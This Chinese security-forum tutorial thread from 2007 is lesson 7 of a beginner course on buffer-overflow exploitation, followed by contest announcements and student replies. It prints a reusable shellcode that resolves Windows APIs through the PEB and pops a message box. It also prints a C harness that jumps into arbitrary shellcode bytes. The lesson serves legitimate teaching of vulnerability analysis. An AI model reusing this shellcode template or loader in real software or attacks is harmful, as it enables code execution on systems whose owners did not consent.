首页
社区
课程
招聘
[技术专题]软件漏洞分析入门_7_案例
2007-12-23 01:01 35972

[技术专题]软件漏洞分析入门_7_案例

2007-12-23 01:01
35972
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest

溢出了的缓冲区,找不到来时的路……

首先比较确定的向大家公布,在元旦的三天假期中我们准备举办一个“辞旧迎新exploit me挑战赛”,作为本系列讲座的一个“期中考试”,已经确定的挑战赛的奖品包括:
漏洞分析比赛

一等奖(1名)
微软(Microsoft)光学银光鲨IE3.0复刻版 1只 (http://www.360buy.com/wareshow.asp?wid=108912)
2008看雪新书:《加密与解密》第三版 1本
2008看雪新书:《0day安全:软件漏洞分析与利用》 1本


二等奖(2名)
朗科(Netac)U200超高速闪存盘1G 1只(http://www.360buy.com/wareshow.asp?wid=118206)
2008看雪新书 :《加密与解密》第三版 1本
2008看雪新书:《0day安全:软件漏洞分析与利用》 1本



三等奖(5名)
2008看雪新书:《加密与解密》第三版 或 《0day安全:软件漏洞分析与利用》任选一本。

题目不会很难,面向初学者,初定为两道题目,而且有一定趣味性,欢迎大家踊跃参加。

比赛时间初定为2007.12.29晚~2008.1.1晚,比赛细则将在下周内于论坛公布,请大家在年前密切关注论坛上的正式通知。


通过一周多的基础教学,相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理,我称之为初级+出门。

我们仍然缺少的关于栈溢出的基础知识包括:

1.如何灵活的选取跳转指令(跳板)
2.如何灵活的布置缓冲区,把shellcode摆放在恰当的位置
3.如何在shellcode中动态定位windows API。
4.如何利用淹没S.E.H劫持进程,植入shellcode
5.如何恢复寄存器内容,在溢出后仍然找到“回头路”,
……

这些知识在《0day安全:软件漏洞分析与利用》中都有和先前的教程一样详细而又通俗的论述。然而迫于《0day》即将上架的商业因素的压力,我没有办法继续在教程中公布样章了——因为算下来400来页的书已经被我贴出来了60多页了,再贴就没有出版社愿意替我印了:)

在教程的跟贴之中看到许多朋友们遇到困难,提出问题,最终解决问题——不禁让我回想起自己当年自己钻研时的情景。本着对教学负责的态度,在本节我给出一个能够自己动态定位API的shellcode。

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

上面这段机器码的作用仍然是弹出一个消息框显示“failwest”。用的方法大概如下:通过FS[0]定位TEB,通过TEB找到PEB,进而找到PE的导入导出表,再定位kerner32.dll的位置,顺藤摸瓜定位到LoadLibraryA,之后就是康庄大道了 ……

关于这段shellcode的细节分析么,呵呵,参看《0day安全》吧。我要说的是我在开发并调试这段shellcode的时候,总共用了5天时间(我的汇编基础比较差),之后在各种漏洞场景下实验并改进,最终得出的这段168字节的代码是比较通用和稳定的,我经常用它作为验证漏洞是否可以被exploit的POC (proof of concept)代码。

由于shellcode往往是在很“恶劣”的环境下被加载的,要想调试这些机器码得动动脑筋才行。我这里给出一个测试和调试shellcode的样例代码:

char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; // 欲调试的16进制机器码"
void main()
{
unsigned char MachineCode[256]="";
strncpy(MachineCode, shellcode,256);
__asm
{
lea eax, MachineCode
push eax
ret
}
}

上述代码可以简单的模拟漏洞场景并加载运行shellcode。

好了,虽然现在大家对shellcode的具体开发方法还并不是非常清楚,但是我已经给出了一个比较通用的现成货,而且教给你了调试方法,你完全可以从网上搜点各种功能的shellcode来试试。(实际上我将使用MetaSploit生成各种常见功能的shellcode,甚至对shellcode加个简单的“壳”,自然这部分内容得参见《0day》了)

所以,从技术角度,您已经具备了独立完成溢出利用的最基本技能。

书中的样章不能贴了,但是我们的教学还会继续。今天我要贴出一篇我一年半以前写的漏洞案例分析文章。这篇文章曾经在《黑客防线》上登出过,网上有不少转载,但我个人从未在网络上公布过。

虽然转载者基本上从来不会著名文章的出处和作者,但我身上那种与生俱来的程序员的劣根性,总是让我把代码中的变量尽可能多的命名为与failwest相关的东东,也正是这种劣根性,您可以方便的通过failwest搜出这些文章:)

今天在看雪上是我第一次正式在网络上公布这篇文章,并且是连同所有附带资料一起放送。

这是一个典型的栈溢出漏洞,攻击者通过发送畸形的数据包,可以溢出操作系统中的服务进程,进而远程控制服务器——这也是最标准,最典型,最真实的入侵过程。

在学习这篇文章的时候,希望大家使用Vmware,自制一个存在漏洞的windows2000操作系统(1年前发布的真实漏洞)。

在后面的教程中,我还会邀请一些在漏洞分析方面很有造诣的朋友来贡献一些案例分析文章。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (83)
雪    币: 1946
活跃值: (238)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 8 2007-12-23 01:54
2
0
顶
雪    币: 66
活跃值: (15)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
theOcrat 8 2007-12-23 02:29
3
0
强烈抗议在半夜发强帖! 严重扰乱上床时间
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htsf110 2007-12-23 02:36
4
0
总算是等到了!!!!!!!!!!!!
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htsf110 2007-12-23 02:38
5
0
前排!!!failwest你的书什么时候能出来
雪    币: 350
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
要学会编 2007-12-23 05:23
6
0
   前排就座学习.
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-23 08:26
7
0
哈哈,继续学习。。。
雪    币: 10123
活跃值: (1769)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wzmooo 2007-12-23 09:00
8
0
差点晚了 第一排
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
famu 2007-12-23 09:00
9
0
终于等到了,先第一排再说
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
iupek 2007-12-23 09:07
10
0
真失望,不能看到你的文章
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 16 2007-12-23 09:36
11
0
太强了,来不及学习了
雪    币: 721
活跃值: (350)
能力值: ( LV9,RANK:1250 )
在线值:
发帖
回帖
粉丝
happytown 31 2007-12-23 09:46
12
0
不错。
建议

        应该设定个参加比赛人员的注册日期限制,否则,专业的漏洞挖掘公司的技术人员(从未来过本论坛的人)直接过来就把奖项拿完了。例如.....
        大家到时候就傻眼了。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
晔crack 2007-12-23 09:59
13
0
终于出来了,学习虽然不大懂,还是要努力学习
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 16 2007-12-23 10:29
14
0
又学到了
哎, 本来还想元旦玩苍天的
现在看来要学习漏洞分析了
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cnqdhi 2007-12-23 10:44
15
0
听课
雪    币: 180
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
黑暗次序 2007-12-23 11:10
16
0
第三名这么惨啊?只能得一本书......
建议第三名也能得两本书,U盘鼠标之类的就不用给了,知识更有用
雪    币: 120
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ufwt 2007-12-23 11:10
17
0
好啊,呵呵.
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fool 2007-12-23 11:18
18
0
不懂,慢慢学习
雪    币: 12
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
toplcj 1 2007-12-23 11:24
19
0
建议将第3名改为加密与解密》第三版 和《0day安全:软件漏洞分析与利用》...
2本都是好书,让人太难抉择了痛苦啊... -_-!!!好像我是第3名?
雪    币: 120
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ufwt 2007-12-23 11:35
20
0
shoooo,你太好学了,向你学习,向你致敬,
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
pcasa 2 2007-12-23 11:48
21
0

强烈建议
  将第3名改为《加密与解密》第三版 和《0day安全:软件漏洞分析与利用》
雪    币: 2134
活跃值: (14)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
Aker 4 2007-12-23 11:54
22
0
学习学习,支持支持:)
雪    币: 709
活跃值: (2240)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 25 2007-12-23 13:17
23
0
哇,好资料啊。

学习
雪    币: 523
活跃值: (827)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
笑熬浆糊 2 2007-12-23 13:36
24
0
学习中...这么多资料够啃几个月了...
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-23 13:48
25
0
哎~~ 又来迟了!
游客
登录 | 注册 方可回帖
返回